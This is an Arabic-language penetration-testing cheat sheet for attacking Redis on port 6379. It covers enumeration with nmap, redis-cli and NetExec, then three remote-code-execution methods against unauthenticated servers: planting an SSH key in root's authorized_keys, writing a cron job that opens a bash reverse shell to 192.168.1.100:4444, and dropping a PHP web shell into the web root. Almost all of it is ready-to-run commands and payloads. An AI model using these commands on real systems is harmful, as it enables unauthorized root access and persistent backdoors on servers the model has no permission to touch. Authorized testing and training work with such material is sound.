Redis — 6379/TCP

Redis — قاعدة بيانات In-Memory. غالباً بدون authentication ويعطي RCE بسهولة.


Enumeration

# Nmap
nmap -p 6379 -sV 192.168.1.1
nmap -p 6379 --script redis-info 192.168.1.1

# اتصال مباشر
redis-cli -h 192.168.1.1
redis-cli -h 192.168.1.1 ping
redis-cli -h 192.168.1.1 info
redis-cli -h 192.168.1.1 keys '*'
redis-cli -h 192.168.1.1 get <key>

# NetExec
nxc redis 192.168.1.1

الثغرات والاستغلال

1. بدون Authentication

redis-cli -h 192.168.1.1
> info server
> keys *
> get password  # أحياناً تجد كلمات مرور

2. RCE عبر SSH Key

# إنشاء SSH key
ssh-keygen -t rsa -f redis_key

# كتابة المفتاح إلى Redis
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h 192.168.1.1 -x set ssh_key

redis-cli -h 192.168.1.1
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> save

# الدخول
ssh -i redis_key [email protected]

3. RCE عبر Cron Job

redis-cli -h 192.168.1.1
> config set dir /var/spool/cron/crontabs
> config set dbfilename root
> set cron "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"
> save

4. RCE عبر Web Shell

redis-cli -h 192.168.1.1
> config set dir /var/www/html
> config set dbfilename shell.php
> set shell "<?php system($_GET['cmd']); ?>"
> save

أدوات

الأداة الاستخدام
redis-cli Client رسمي
nmap redis-info Enumeration
nxc redis فحص سريع